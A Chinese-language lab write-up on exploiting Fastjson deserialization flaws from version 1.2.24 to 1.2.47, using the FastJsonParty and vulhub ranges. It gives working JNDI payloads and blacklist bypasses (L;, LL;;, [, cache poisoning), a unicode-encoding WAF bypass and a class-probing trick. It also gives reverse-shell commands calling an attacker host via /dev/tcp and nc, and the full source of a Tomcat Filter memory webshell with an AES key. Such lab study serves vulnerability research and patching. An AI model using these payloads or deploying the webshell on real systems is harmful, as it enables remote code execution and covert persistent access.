Fastjson 是阿里开源的高性能 JSON 解析库,在国内 Java 项目里用得非常多。它早期为了实现「按需还原对象类型」引入了 AutoType 机制,反而把自己变成了反序列化漏洞的重灾区。官方这些年一直靠黑名单打补丁,但绕过手法层出不穷,从 1.2.24 一路打到 1.2.68 之后,中间几乎每个版本都能找到对应的绕过姿势。
这篇文章按版本顺序把我复现过的靶场过一遍,每个版本记三件事:官方补了什么、怎么绕的、payload 长什么样。
环境用的是 FastJsonParty 和 vulhub:
- FastJsonParty(主要用这个):https://github.com/lemono0/FastJsonParty 一个漏洞一个目录,除了普通场景,还带了不少带 WAF、机器不出网的场景,离实战更近一点。
- vulhub:https://github.com/vulhub/vulhub/tree/master/fastjson
用来打最基础的
<=1.2.24。
后面 payload 里的地址统一写 host.docker.internal(Docker Desktop 里指向宿主机)。如果你用 OrbStack,对应的域名是 host.orb.internal——本文 1.2.47 的 waf 版那节就是 OrbStack 环境下抓的图,payload 里写的是这个。
漏洞成因:@type、AutoType 与 checkAutoType
Fastjson 反序列化漏洞建立在两个特性上:
@type字段。JSON 本身没有类型概念,fastjson 用@type来指定这段数据要还原成哪个类。- 自动调用方法。还原对象时,fastjson 会自动调用目标类的构造函数、setter、getter。只要这条路径上有「参数可控 + 危险操作」的方法,就能完成利用。
所以利用思路非常直接:在 @type 里填一个「反序列化过程中会干坏事」的类。最经典的两个是:
com.sun.rowset.JdbcRowSetImpl:setter 里会发起 JNDI 查询,配合 LDAP/RMI 打远程类加载。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl:_bytecodes里的字节码会被defineClass并实例化,等于直接执行任意字节码(需要开启Feature.SupportNonPublicField)。
官方的防线是一层层加上去的,先把这条主线理清楚,后面的版本就好懂了:
| 版本 | 关键变化 | 对应的绕过 |
|---|---|---|
| ≤ 1.2.24 | 没有任何校验 | 直接指定任意危险类 |
| 1.2.25 | 引入 checkAutoType,新增 autoTypeSupport 开关(默认关闭) | L...; |
| 1.2.42 | 黑名单改成 hash 比对,checkAutoType 里处理 L...; | LL...;; 双写 |
| 1.2.43 | 类名以 LL 开头直接抛异常 | [ 数组描述符 |
| 1.2.44 ~ 1.2.45 | 补齐黑名单 | 换不在黑名单里的第三方依赖类 |
| 1.2.47 | —— | 用 java.lang.Class 给 mappings 缓存投毒(1.2.48 修复) |
| 1.2.68 | 引入 SafeMode,收紧 checkAutoType | expectClass 通道 + JDBC 链 |
| 1.2.69 | AutoCloseable / Runnable / Readable 加入黑名单 | 上面那条 JDBC 链失效 |
| 1.2.83 | 默认开启 SafeMode | 1.x 的最后一个版本 |
有两点要先记着,后面反复会用到:
- 1.2.25 ~ 1.2.45 这一段的绕过,共同前提是目标把
autoTypeSupport打开了。 这个开关默认是 false,正常项目不会去动它,但确实有业务为了兼容老代码手动开过。 - 这些绕过看着花样很多,根子上是同一件事:
checkAutoType校验的类名,和TypeUtils.loadClass实际加载的类名,不是同一个字符串。 只要能让两者对不上,黑名单就形同虚设。L;、LL;;、[全都是在利用这个差异。
fastjson <= 1.2.24
漏洞原因
1.2.24 及以前还没有 checkAutoType,@type 里写什么就加载什么,没有任何校验。利用方式主要两条。
1. TemplatesImpl
利用点在 TemplatesImpl 的两个 private 字段:_bytecodes(字节码)和 _outputProperties。fastjson 给它赋值时会走到 getOutputProperties(),进而对 _bytecodes 里的字节码做 defineClass 并实例化。
代价是这两个字段都是 private,得先让 fastjson 去写私有字段,也就是解析时带上 Feature.SupportNonPublicField:
JSON.parseObject(payload, Feature.SupportNonPublicField);
现实里后端很少这么写,所以这条链看着漂亮,实战中反而不太用得上——除非是不出网环境下配合二次反序列化,那时候它是主力(1.2.47-waf-c3p0 那节会用到)。
2. JdbcRowSetImpl + JNDI
这条链没有额外限制,也是本文用得最多的:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://<攻击机>:1389/exploit",
"autoCommit": true
}
dataSourceName 被 set 进去,autoCommit 被 set 时会触发 connect(),connect() 里对 dataSourceName 做 lookup()。JNDI 会去 LDAP/RMI 服务器取一个 Reference,再按 Reference 的指示远程加载 class 并实例化,恶意类的 static{} 静态代码块随之执行,RCE。
漏洞复现
环境用 vulhub。
第一步:DNSLog 探测出网和漏洞存在
POST / HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/json
{"a":{"@type":"java.net.Inet4Address","val":"hwu92a.dnslog.cn"}}
Inet4Address 反序列化时会去解析 val 里的域名,只要目标出网,DNSLog 上就能收到记录。

第二步:起恶意的 LDAP/RMI 服务
先准备反弹 shell 的命令:
echo -n 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1' | base64
然后起 JNDI-Injection-Exploit。它会在 1389 端口同时起 RMI 和 LDAP 服务,并自己开一个 HTTP 服务来提供 class 文件下载,不需要我们再手动 javac 编译恶意类、再丢到 Web 目录下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,<上一步输出的 base64>}|{base64,-d}|{bash,-i}" \
-A host.docker.internal
-A 填的是「目标机器能访问到的攻击机地址」。靶场跑在 docker 里、攻击机在宿主机上,所以这里写 host.docker.internal;真实环境换成攻击机的 IP。
JNDI 这条链受 JDK 版本限制:JDK 8u191 之后 com.sun.jndi.ldap.object.trustURLCodebase 默认为 false,远程加载 class 这条路就走不通了。JNDI-Injection-Exploit 起服务时会顺带打印几种 bypass 的 payload(比如借助目标本地已有的 Tomcat BeanFactory 配合 EL 表达式),能不能打起来取决于目标的 JDK 版本和依赖,这里不展开。
第三步:Burp 发包
POST / HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/json
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://host.docker.internal:1389/5f3wqa",
"autoCommit": true
}
}
收到 shell:

利用链总结
1.2.24 及以前完全没有 AutoType 黑名单,@type 里可以随便指定 com.sun.rowset.JdbcRowSetImpl 这类危险类:
@type: JdbcRowSetImpl
→ setDataSourceName("ldap://攻击机/Exploit")
→ setAutoCommit(true)
→ 触发 connect()
→ JNDI lookup
→ 加载远程恶意 class
→ 执行 static{} 静态代码块
→ RCE
注意字段顺序:@type 后面的字段是按 JSON 里的顺序逐个赋值的,所以 dataSourceName 必须写在 autoCommit 前面,否则 connect() 触发时地址还没赋上。
1.2.25 ~ 1.2.41:L…; 绕过
漏洞原因
从 1.2.25 开始,fastjson 引入了 checkAutoType,并新增了 autoTypeSupport 开关,默认是 false:
// 不开这个开关,@type 直接报 "autoType is not support"
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
所以这一段(一直到 1.2.45)的绕过,前提都是目标手动把 autoTypeSupport 打开了。开启之后流程变成:
@type → checkAutoType(className)
→ 查黑名单 / 白名单
→ 通过后再交给 TypeUtils.loadClass(className)
问题出在:checkAutoType 查黑名单用的是原始的类名字符串,而 TypeUtils.loadClass 会对类名做额外处理——以 L 开头、以 ; 结尾的字符串会被当成 JVM 的类描述符(比如 Ljava.lang.String;),剥掉首尾再加载。
于是只要把类名包一层:
{
"b": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
checkAutoType 拿到的是 Lcom.sun.rowset.JdbcRowSetImpl;,跟黑名单里的 com.sun.rowset.JdbcRowSetImpl 对不上,放行;loadClass 再把它剥成 com.sun.rowset.JdbcRowSetImpl 去加载。同一份数据,两处代码看到的是两个不同的类名。
顺带一提,loadClass 除了处理 L 和 ;,还处理以 [ 开头的数组描述符,这个特性到 1.2.43 会被翻出来用。
漏洞复现
在 @type 指定的类名外面套一层 L...; 即可,payload 见上。
利用链总结
Lcom.sun.rowset.JdbcRowSetImpl; 让黑名单匹配失败,后端 TypeUtils.loadClass 去掉 L 和 ; 完成真实类加载,从而绕过防护。修复方式就是在 checkAutoType 里也做一次相同的剥离,也就是下一节的 1.2.42。
1.2.42:LL…;; 双写
1.2.42 针对 1.2.25 ~ 1.2.41 的 L...; 做了三件事:
- 黑名单从明文字符串改成 hash 比对,避免黑名单字符串本身成为特征;
- 在
checkAutoType里增加了对L...;的判断; - 如果类名以
L开头、以;结尾,就先截取中间部分,再拿去校验。
也就是说,原来攻击者传:
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;"
1.2.42 会识别出这是 L...; 描述符,去掉首尾变成 com.sun.rowset.JdbcRowSetImpl,再进 hash 黑名单校验,于是命中,被拦住。
漏洞原因
但 1.2.42 只剥了一层。双写就能再让两边对不上一次:
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;"
LLcom.sun.rowset.JdbcRowSetImpl;;
→ checkAutoType 剥掉一层 L/;,拿 Lcom.sun.rowset.JdbcRowSetImpl; 去比对 hash
→ 与 com.sun.rowset.JdbcRowSetImpl 对不上,黑名单未命中
→ 于是把原始的 LLcom.sun.rowset.JdbcRowSetImpl;; 交给 TypeUtils.loadClass
→ loadClass 是递归剥离的,剥两层拿到 com.sun.rowset.JdbcRowSetImpl
→ 加载成功 → RCE
本质还是那句话:checkAutoType 和 TypeUtils.loadClass 对类名的处理没有对齐——一个只剥一层,一个剥到干净为止。
漏洞复现
套两层 L; 即可:
{
"b": {
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
这份 payload 在 1.2.42 上有效,到 1.2.43 就失效了。
1.2.43:[ 数组描述符与 [{ 畸形 JSON
1.2.43 补了一刀:类名以 LL 开头就直接抛异常,LL...;; 双写被堵死。
漏洞原因
前面提过,loadClass 除了特殊处理 L 和 ;,还会处理 [。[ 在 JVM 里是数组的类型描述符([Ljava.lang.String; 就是 String[]),而 fastjson 本身必须支持数组反序列化,所以不能简单把 [ 开头的类名全拉黑。1.2.43 只在 L; 那条路径上打了补丁(hash 校验查的是 LL),[ 这条路径一点没动。
于是 payload 变成这样:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}]}
这是一段刻意写坏的畸形 JSON:@type 的值后面直接跟一个 [{,正常 JSON 不该长这样。fastjson 的解析器对这种写法比较宽容,checkAutoType 拿到的类名是 [com.sun.rowset.JdbcRowSetImpl,不以 LL 开头,黑名单也没命中;到了 loadClass,[ 被识别成数组描述符剥掉,最终加载的仍然是被拉黑的 JdbcRowSetImpl。
漏洞复现
套一层 [,后面跟 [{:
{
"b": {
"@type": "[com.sun.rowset.JdbcRowSetImpl"[{
"dataSourceName": "ldap://127.0.0.1:1389/Exploit",
"autoCommit": true
}]
}
}
利用链总结
@type = [com.sun.rowset.JdbcRowSetImpl
→ checkAutoType 不拦 [ 开头(hash 校验只看 LL,黑名单也没命中)
→ TypeUtils.loadClass 识别 [ 为数组描述符
→ 去掉 [ 得到 com.sun.rowset.JdbcRowSetImpl
→ 加载 → 设置 dataSourceName、autoCommit
→ 触发 JNDI lookup → 远程加载恶意类 → RCE
L; 和 [ 走的是两条完全独立的代码分支,1.2.43 只修了前者。再加上补丁本身是「见招拆招」(看到 LL 就封 LL),而不是在类的加载出口统一校验最终类名,所以后面还会被绕。
1.2.44 ~ 1.2.45:换第三方依赖类(MyBatis)
1.2.44/1.2.45 把 L; 和 [ 这两条把 JdbcRowSetImpl 送进黑名单的路都堵了,只能换一个「不在黑名单里、但反序列化时会触发 JNDI」的类。这个版本的答案是 MyBatis 的 JndiDataSourceFactory。
漏洞原因
JndiDataSourceFactory 的 setProperties(Properties) 会从 properties 里读 data_source,拿到之后直接丢给 InitialContext.lookup(),也就是:
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
而 JndiDataSourceFactory 本身不在 fastjson 的黑名单里,能顺利通过 checkAutoType。于是 @type 指过去,properties.data_source 就是我们想让它 lookup 的地址。
漏洞复现
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://localhost:1389/badNameClass"
}
}
前提有两条:目标 classpath 里确实有 mybatis,并且 autoTypeSupport 是开着的。
这类「换个第三方类继续打」的思路从 1.2.44 之后就一直是主线:黑名单永远是枚举,而 classpath 里的类枚举不完。
1.2.47:mappings 缓存投毒
漏洞原因
1.2.47 的绕过核心是缓存投毒。
fastjson 内部维护了一个全局的类缓存 TypeUtils.mappings(Map<String, Class<?>>,key 是类名,value 是加载好的 Class)。关键在于:checkAutoType 在黑名单校验之前会先查一遍这个缓存,一旦命中就直接返回,后面的黑白名单校验全都不走了。
而 java.lang.Class 的反序列化器是 MiscCodec,它会拿 val 里的字符串去调 TypeUtils.loadClass(name, classLoader, cache)——在 1.2.47 上这个 cache 默认是 true。也就是说,java.lang.Class 成了往缓存里写任意类的入口。
java.lang.Class 本身在 fastjson 的白名单里(ParserConfig.initDeserializers 里注册过),不受 checkAutoType 限制,所以这条路可用,而且不需要打开 autoTypeSupport。
利用方式就是:在同一次请求里,用一个字段把恶意类塞进缓存,用另一个字段把它从缓存里取出来用。
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.52.129:9999/rce_1_2_24_exploit",
"autoCommit": true
}
}
绕过流程
- 解析字段
a,@type是java.lang.Class。它在白名单里,checkAutoType放行。 java.lang.Class由MiscCodec反序列化,MiscCodec把val交给TypeUtils.loadClass去加载。- 1.2.47 的
loadClass默认cache = true,com.sun.rowset.JdbcRowSetImpl就这样被写进了全局缓存mappings。 - 解析字段
b,@type是com.sun.rowset.JdbcRowSetImpl。checkAutoType先查缓存,发现里面已经有了,直接返回缓存的Class,黑白名单校验整个跳过。 - 后面就是老流程:设置
dataSourceName、autoCommit,触发 JNDI lookup,RCE。
这也是为什么 a 和 b 必须写在同一个 JSON 里——两个字段共享同一个全局缓存。补丁在 1.2.48:MiscCodec 里 java.lang.Class 加载完后不再往 mappings 里写。
漏洞复现
环境:https://github.com/lemono0/FastJsonParty/blob/main/1247-jndi/
第一步:先确认是 fastjson
故意发一个格式坏掉的 JSON:
POST /login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json; charset=UTF-8
{"@type": "java.lang.AutoCloseable"
如果后端把异常信息直接吐回来,报文里出现 fastjson 的 JSONException / syntax error 这类字样,基本就能确定解析器是 fastjson:

第二步:DNSLog 探测漏洞
POST /login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json; charset=UTF-8
{
"@type": "java.net.Inet4Address",
"val": "sckzwo.dnslog.cn"
}
收到请求,说明存在漏洞且目标出网:

第三步:探测 fastjson 精确版本
还是发一段不完整的 JSON,看响应里的报错:
POST /login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json; charset=UTF-8
{
"@type": "java.lang.AutoCloseable"

响应里直接带出了 fastjson-version 1.2.47。这是 FastJsonParty 靶场的全局异常处理器把 fastjson 版本拼进了 message,真实站点一般不会有这么体贴的字段。所以这种探测是有条件的:得目标回显报错信息。如果目标不回显,就只能靠 DNSLog、响应延时这类间接手段去猜版本,会麻烦不少。
读到 1.2.47 之后,思路就明确了:走 mappings 缓存投毒,用 java.lang.Class 投毒,再用 JdbcRowSetImpl 打 JNDI。前提仍然是目标机器出网。
第四步:打 JNDI
这个容器里没有 bash,所以 -C 里的命令改用 nc 反弹:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "nc host.docker.internal 4444 -e /bin/sh" \
-A host.docker.internal
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://host.docker.internal:1389/5f3wqa",
"autoCommit": true
}
}
收到 shell:

waf 版
环境:https://github.com/lemono0/FastJsonParty/blob/main/1247-jndi-waf/

这个环境里加了一个很简单的 WAF,黑名单一共六个关键字:TemplatesImpl、dataSourceName、JdbcRowSetImpl、ldap:、rmi:、@type。代码逻辑是 Json.contains(blacklist),只要命中一个就返回 false 拦掉。
绕过
WAF 是对原始请求体做字符串匹配的,而 fastjson 在解析时会把 \uXXXX 转义还原成真正的字符。也就是说,WAF 看到的是满屏的 \u0040\u0074...,fastjson 看到的还是 @type。
把 payload 里的关键字全部 unicode 编码:
@type → \u0040\u0074\u0079\u0070\u0065
java.lang.Class → \u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073
完整 payload(dataSourceName 的值也编码了,因为黑名单里有 ldap:):
{
"a": {
"\u0040\u0074\u0079\u0070\u0065": "\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073",
"\u0076\u0061\u006C": "\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C"
},
"b": {
"\u0040\u0074\u0079\u0070\u0065": "\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C",
"\u0064\u0061\u0074\u0061\u0053\u006F\u0075\u0072\u0063\u0065\u004E\u0061\u006D\u0065": "\u006C\u0064\u0061\u0070\u003A\u002F\u002F\u0068\u006F\u0073\u0074\u002E\u006F\u0072\u0062\u002E\u0069\u006E\u0074\u0065\u0072\u006E\u0061\u006C\u003A\u0031\u0033\u0038\u0039\u002F\u0075\u006C\u006B\u0061\u0074\u0068",
"\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074": "\u0074\u0072\u0075\u0065"
}
}
收到 shell:

Y4tacker 那篇《浅谈 Fastjson 绕 waf》里还整理了不少同类思路,遇到 WAF 可以挨个试:往 JSON 里塞多余的逗号、字段名不加引号、字段名用单引号、@type 后面值的第一个引号换成别的字符、\x 和 \u 混合编码等等。
1.2.47-waf-c3p0:不出网 + 内存马
环境:https://github.com/lemono0/FastJsonParty/blob/main/1247-waf-c3p0/
这个环境比较特殊:docker 起了两台机器,而靶机不出网。
先探版本:
{
"@type": "java.lang.AutoCloseable"

爆出版本 1.2.47。这个版本及以下有 mappings 缓存通杀绕过,利用方式是 JNDI——但别忘了 JNDI 的利用是有条件的:
- 一般需要出网环境;
- 受 JDK 版本限制,JDK 8u191 之后
trustURLCodebase默认为 false,远程加载 class 被禁(有绕过方法,但麻烦)。
这里靶机不出网,JNDI 就不合适了,得换路子。下一步是探测目标本地存在哪些依赖。
探测本地依赖:Character 报错法
fastjson 内部有一份基础类的缓存和反序列化器表(mappings + ParserConfig.initDeserializers),java.lang.Character 和 java.lang.Class 都在里面。@type 用这两个类时,fastjson 直接从缓存取出对应的反序列化器,根本不进 checkAutoType,也就谈不上黑名单校验。
探测 payload 的模板是这样,val 换成想探测的类名即可:
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "<要探测的类名>"
}
}
}
("java.lang.Character" 后面故意少一个逗号,这是这个探测 payload 的固定写法,照抄就行。)
具体流程:
- 先按
java.lang.Character处理,拿到CharacterCodec。它期望的是一个能转成char的值,比如"a"。 - 紧接着第二个
@type是java.lang.Class,走MiscCodec。MiscCodec读取val,交给TypeUtils.loadClass去加载。 - 加载成功会返回一个
Class对象,然后CharacterCodec试图把这个Class转成char,类型对不上,抛异常。
所以判断标准很清晰:
- 返回
can not cast to char, value : class/interface xxx→val里的类存在; - 返回
No message available(ClassNotFoundException本身没有 message)→ 类不存在。
这样探测就变成了「拿一份已知利用链的依赖类清单挨个试」。
先确认是不是 SpringBoot 项目:
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}
}
RequestMapping 是 Spring 里的注解,报出类型转换错误说明这个类存在:

再换成 C3P0 的类试:
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
}
}
}
同样是 can not cast to char,说明目标里有 C3P0:

C3P0 二次反序列化
FastJson 结合 C3P0 有很多利用方式,其中被提得最多的是不出网利用:hex 编码的二次反序列化打内存马。
原理是 WrapperConnectionPoolDataSource 的 userOverridesAsString 字段支持 HexAsciiSerializedMap:<hex> 格式。C3P0 会把冒号后面的 hex 解成字节数组,再做一次 ObjectInputStream.readObject()——也就是在 fastjson 反序列化之外,又套了一层原生反序列化。
网上讲 C3P0 + FastJson 的文章基本都要求目标额外存在 CC 之类的反序列化链。其实不需要,因为 fastjson 全版本都存在原生反序列化利用链,而且是靠 TemplatesImpl 加载类,拿来打内存马正合适。
所以整条链是两层:外层用 1.2.47 的 mappings 缓存投毒把 WrapperConnectionPoolDataSource 送进去,内层是 C3P0 触发的原生反序列化,把 TemplatesImpl 里的内存马字节码加载起来。
制作内存马字节码
先直接找一个冰蝎内存马:Tomcat 的 Filter 型内存马。但直接拿来用是不行的:要用 TemplatesImpl 加载,恶意类必须继承 AbstractTranslet 并重写它的两个 transform 方法,否则类根本加载不了。
改造后的内存马 IceShell.java(它同时是一个 Tomcat Filter,static 代码块负责把 Filter 注册进 StandardContext,doFilter 里是冰蝎的解密和类加载逻辑):
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;
public class IceShell extends AbstractTranslet implements Filter {
private final String pa = "3ad2fddfe8bad8e6";
public IceShell() {
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
Map<String, Object> pageContext = new HashMap();
pageContext.put("session", session);
pageContext.put("request", request);
pageContext.put("response", response);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
if (request.getMethod().equals("POST")) {
Class Lclass;
if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
}
filterChain.doFilter(servletRequest, servletResponse);
}
}
public void destroy() {
}
public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) {
byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT");
try {
Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
define.setAccessible(true);
Class uclass = null;
try {
uclass = cl.loadClass("U");
} catch (ClassNotFoundException var18) {
uclass = (Class)define.invoke(cl, bytecode, 0, bytecode.length);
}
Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class);
constructor.setAccessible(true);
Object u = constructor.newInstance(this.getClass().getClassLoader());
Method Um = uclass.getDeclaredMethod("g", byte[].class);
Um.setAccessible(true);
String k = "3ad2fddfe8bad8e6";
session.setAttribute("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] eClassBytes = c.doFinal((new BASE64Decoder()).decodeBuffer(request.getReader().readLine()));
Class eclass = (Class)Um.invoke(u, eClassBytes);
Object a = eclass.newInstance();
Method b = eclass.getDeclaredMethod("equals", Object.class);
b.setAccessible(true);
b.invoke(a, pageContext);
} catch (Exception var19) {
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
try {
String name = "AutomneGreet";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map)Configs.get(standardContext);
if (filterConfigs.get("AutomneGreet") == null) {
Filter filter = new IceShell();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("AutomneGreet");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/shell");
filterMap.setFilterName("AutomneGreet");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef);
filterConfigs.put("AutomneGreet", filterConfig);
}
} catch (Exception var10) {
}
}
}
1. 先把容器的依赖拷出来
进容器看看:
docker exec -it 4b89ee3403fb /bin/sh
Spring Boot 的 fat jar 结构是这样的:
app.jar
├── META-INF/
├── org/springframework/boot/loader/ ← Spring Boot 启动器
└── BOOT-INF/
├── classes/ ← 业务代码
└── lib/ ← 所有第三方依赖 jar
├── fastjson-1.2.47.jar
├── c3p0-0.9.5.4.jar
└── ...
列出 jar 里的依赖:
jar tf app.jar | grep "BOOT-INF/lib" | grep -iE "fastjson|c3p0|tomcat"
BOOT-INF/lib/fastjson-1.2.47.jar
BOOT-INF/lib/c3p0-0.9.5.4.jar
BOOT-INF/lib/spring-boot-starter-tomcat-2.2.7.RELEASE.jar
BOOT-INF/lib/tomcat-embed-core-9.0.34.jar
BOOT-INF/lib/tomcat-embed-el-9.0.34.jar
BOOT-INF/lib/tomcat-embed-websocket-9.0.34.jar
果真有 c3p0,Tomcat 是 9。
直接把容器里的依赖拷下来编译,这样拿到的 jar 版本和靶场完全一致,生成 payload 时不会出现版本差异问题:
# 在容器里解压 app.jar 的 BOOT-INF/lib 到 /tmp
docker exec 4b89ee3403fb sh -c "cd /tmp && mkdir -p lib && cd lib && jar xf /var/app/app.jar BOOT-INF/lib"
# 拷回宿主机当前目录的 target-lib
docker cp 4b89ee3403fb:/tmp/lib/BOOT-INF/lib ./target-lib
2. 编译内存马
IceShell.java 里 import 了一堆 Tomcat 的类,这些类不在 JDK 里,javac 默认不知道去哪找,得用 -cp 指到刚拷回来的依赖:
javac -cp "target-lib/tomcat-embed-core-9.0.34.jar:target-lib/tomcat-embed-el-9.0.34.jar" IceShell.java
编译出来的 IceShell.class 就是后面要塞进 TemplatesImpl 的内存马字节码。
